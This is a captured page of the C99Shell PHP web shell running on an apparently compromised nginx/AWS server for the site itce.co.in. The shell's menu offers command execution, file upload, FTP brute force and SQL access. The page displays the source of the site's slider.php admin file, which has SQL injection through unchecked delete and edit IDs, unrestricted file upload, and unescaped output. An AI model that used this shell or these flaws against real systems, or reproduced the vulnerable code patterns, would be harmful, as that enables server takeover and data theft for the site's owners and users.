!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     slider.php (5.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html>
<html lang="en">

 <?php include 'head.php';?>
<style>
table {
    border-collapse: collapse;
    width: 100%;
    margin-top: 20px;
}

table, th, td {
    border: 1px solid #ddd;
}

th, td {
    padding: 8px;
    text-align: left;
}

th {
    background-color: #f2f2f2;
    font-weight: bold;
}
.custom-image {
    width: 100px;
    height: 100px;
}
</style>
<body>

  <!-- ======= Header ======= -->
  
 <?php include 'menubar.php';?>

 <?php include 'sidebar.php';?>


  <main id="main" class="main">
<?php
include 'connect.php';

// Upload image
if (isset($_POST['add'])) {
    if (
$_FILES['slider_photo']['name']) {
        
$filename basename($_FILES['slider_photo']['name']);
        
$target "slider/" $filename;
        if (
move_uploaded_file($_FILES['slider_photo']['tmp_name'], $target)) {
            
mysqli_query($link"INSERT INTO slider_photo (slider_photo) VALUES ('$filename')");
            echo 
"<script>alert('Image added');location.href='slider.php';</script>";
        } else {
            echo 
"<script>alert('Upload failed');</script>";
        }
    }
}

// Delete image
if (isset($_GET['delete'])) {
    
$id $_GET['delete'];
    
$result mysqli_query($link"SELECT slider_photo FROM slider_photo WHERE ID=$id");
    
$row mysqli_fetch_assoc($result);
    if (
$row) {
        
unlink("slider/" $row['slider_photo']); // delete file
        
mysqli_query($link"DELETE FROM slider_photo WHERE ID=$id");
    }
    echo 
"<script>alert('Deleted');location.href='slider.php';</script>";
}

// Update image
if (isset($_POST['update'])) {
    
$id $_POST['edit_id'];
    if (
$_FILES['new_photo']['name']) {
        
$filename basename($_FILES['new_photo']['name']);
        
$target "slider/" $filename;
        if (
move_uploaded_file($_FILES['new_photo']['tmp_name'], $target)) {
            
// Delete old photo
            
$old mysqli_fetch_assoc(mysqli_query($link"SELECT slider_photo FROM slider_photo WHERE ID=$id"));
            
unlink("slider/" $old['slider_photo']);
            
// Update DB
            
mysqli_query($link"UPDATE slider_photo SET slider_photo='$filename' WHERE ID=$id");
            echo 
"<script>alert('Updated');location.href='slider.php';</script>";
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Slider Admin</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        .img-preview {
            max-width: 100%;
            height: 200px;
            object-fit: cover;
        }
    </style>
</head>
<body class="bg-light">
<div class="container py-5">

    <h2 class="mb-4 text-center">Slider Photo Manager</h2>

    <!-- Add Form -->
    <form method="POST" enctype="multipart/form-data" class="card p-3 mb-5 shadow-sm">
        <h5>Add New Slider Image</h5>
        <div class="mb-3">
            <input type="file" name="slider_photo" class="form-control" required>
        </div>
        <button type="submit" name="add" class="btn btn-success">Upload</button>
    </form>

    <!-- List of Slider Images -->
    <div class="row g-4">
        <?php
        $result 
mysqli_query($link"SELECT * FROM slider_photo ORDER BY ID DESC");
        while (
$row mysqli_fetch_assoc($result)) {
        
?>
            <div class="col-md-4">
                <div class="card shadow-sm">
                    <img src="slider/<?php echo $row['slider_photo']; ?>" class="img-preview card-img-top">
                    <div class="card-body">
                        <p><strong>ID:</strong> <?php echo $row['ID']; ?></p>

                        <!-- Edit Button triggers Modal -->
                        <button class="btn btn-warning btn-sm" data-bs-toggle="modal" data-bs-target="#editModal<?php echo $row['ID']; ?>">Edit</button>

                        <!-- Delete -->
                        <a href="?delete=<?php echo $row['ID']; ?>" onclick="return confirm('Are you sure?')" class="btn btn-danger btn-sm">Delete</a>
                    </div>
                </div>
            </div>

            <!-- Edit Modal -->
            <div class="modal fade" id="editModal<?php echo $row['ID']; ?>" tabindex="-1">
                <div class="modal-dialog">
                    <form method="POST" enctype="multipart/form-data" class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title">Edit Image ID: <?php echo $row['ID']; ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                        </div>
                        <div class="modal-body">
                            <input type="hidden" name="edit_id" value="<?php echo $row['ID']; ?>">
                            <input type="file" name="new_photo" class="form-control" required>
                        </div>
                        <div class="modal-footer">
                            <button type="submit" name="update" class="btn btn-primary">Update</button>
                            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>

        <?php ?>
    </div>

</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>



  </main><!-- End #main -->

   <?php include 'footer.php';?>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--